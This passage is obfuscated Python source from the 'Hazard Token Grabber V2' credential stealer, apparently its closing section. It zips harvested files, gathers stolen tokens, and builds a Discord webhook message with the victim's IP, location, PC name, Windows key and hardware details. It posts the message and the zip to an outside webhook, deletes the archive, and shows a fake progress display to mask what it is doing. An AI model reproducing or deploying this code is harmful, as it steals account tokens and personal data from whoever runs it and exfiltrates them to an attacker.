('loc')#line:458 _OOOO000OO00O0000O =os .path .join (O000O0O00O0O0OOOO .appdata ,f'Hazard.V2-[{os.getlogin()}].zip')#line:461 OOOOOO0OOO0O0O00O =zipfile .ZipFile (_OOOO000OO00O0000O ,"w",zipfile .ZIP_DEFLATED )#line:462 O00O0OO00O0O0OO00 =os .path .abspath (O000O0O00O0O0OOOO .dir )#line:463 for O0O00O000OO0000O0 ,_OO0000O0OOOOOOOOO ,OOOOO00O0O0OOOO00 in os .walk (O000O0O00O0O0OOOO .dir ):#line:464 for OOOO0O0OOO000OO0O in OOOOO00O0O0OOOO00 :#line:465 O0OO000OO00OO00O0 =os .path .abspath (os .path .join (O0O00O000OO0000O0 ,OOOO0O0OOO000OO0O ))#line:466 OO0OO0000OOO0OO0O =O0OO000OO00OO00O0 [len (O00O0OO00O0O0OO00 )+1 :]#line:467 OOOOOO0OOO0O0O00O .write (O0OO000OO00OO00O0 ,OO0OO0000OOO0OO0O )#line:468 OOOOOO0OOO0O0O00O .close ()#line:469 OOOOOO0O0OOO000O0 =''#line:470 for OO000OOO000O0OOOO in os .listdir (O000O0O00O0O0OOOO .dir ):#line:471 OOOOOO0O0OOO000O0 +=f"・{OO000OOO000O0OOOO}\n"#line:472 OO00OOO0O0OO0000O =''#line:473 for OOO000O0O00000000 in O000O0O00O0O0OOOO .tokens :#line:474 OO00OOO0O0OO0000O +=f'{OOO000O0O00000000}\n\n'#line:475 O00OOO0OOO0OOOOOO =f"{len(OOOOO00O0O0OOOO00)} Files Found: "#line:476 O0OO0OOO0000OO0OO ={'username' 'avatar_url':'https://raw.githubusercontent.com/Rdimo/images/master/Hazard-Token-Grabber-V2/Big_hazard.gif','embeds':[{'author':{'name':f'*{os.getlogin()}* Just ran Hazard Token Grabber.V2','url':'https://github.com/Rdimo/Hazard-Token-Grabber-V2','icon_url':'https://raw.githubusercontent.com/Rdimo/images/master/Hazard-Token-Grabber-V2/Small_hazard.gif'},'color':16119101 ,'description':f'[Google Maps Location]({O0OO0OO00O0000O00})','fields':[{'name':'\u200b','value':f'''```fix IP:᠎ {OO00OO0O0OO00000O} Org:᠎ {OOO0O00OO000OO0OO} City:᠎ {OOOO0000OOO00O00O} Region:᠎ {OOOO000OO00O00OOO} Country:᠎ {OOOOOOO0O0000000O}``` '''.replace (' ',''),'inline':True },{'name':'\u200b','value':f'''```fix PCName: {os.getenv('COMPUTERNAME').replace(" ", "᠎ ")} WinKey:᠎ {OO00O00OO0O0OO000} Platform:᠎ {OO0O0OOOO00OOO0O0} DiskSpace:᠎ {OO0OO0OO00OOOO0O0}GB Ram:᠎ {OOOOOO000O0OO0OO0}GB``` '''.replace (' ',''),'inline':True },{'name':'**Tokens:**','value':f'''```yaml {OO00OOO0O0OO0000O if OO00OOO0O0OO0000O else "No tokens extracted"}``` '''.replace (' ',''),'inline':False },{'name':O00OOO0OOO0OOOOOO ,'value':f'''```ini [ {OOOOOO0O0OOO000O0.strip()} ]``` '''.replace (' ',''),'inline':False }],'footer':{'text':'🌟・Grabber By github.com/Rdimo・https://github.com/Rdimo/Hazard-Token-Grabber-V2'}}]}#line:534 httpx .post (O000O0O00O0O0OOOO .webhook ,json =O0OO0OOO0000OO0OO )#line:535 with open (_OOOO000OO00O0000O ,'rb')as OO000OOO000O0OOOO :#line:536 httpx .post (O000O0O00O0O0OOOO .webhook ,files ={'upload_file':OO000OOO000O0OOOO })#line:537 os .remove (_OOOO000OO00O0000O )#line:538 if __name__ =="__main__"and os .name =="nt":#line:541 asyncio .run (Hazard_Token_Grabber_V2 ().init ())#line:542 console =Console ()#line:543 tasks =[f"task {OOOOOO0OOO00000OO}"for OOOOOO0OOO00000OO in range (1 ,11 )]#line:544 with console .status ("[bold green]Working on tasks...")as status :#line:545 while tasks :#line:546 task =tasks .pop (0 )#line:547 sleep (1 )#line:548 console .log (f"{task} complete")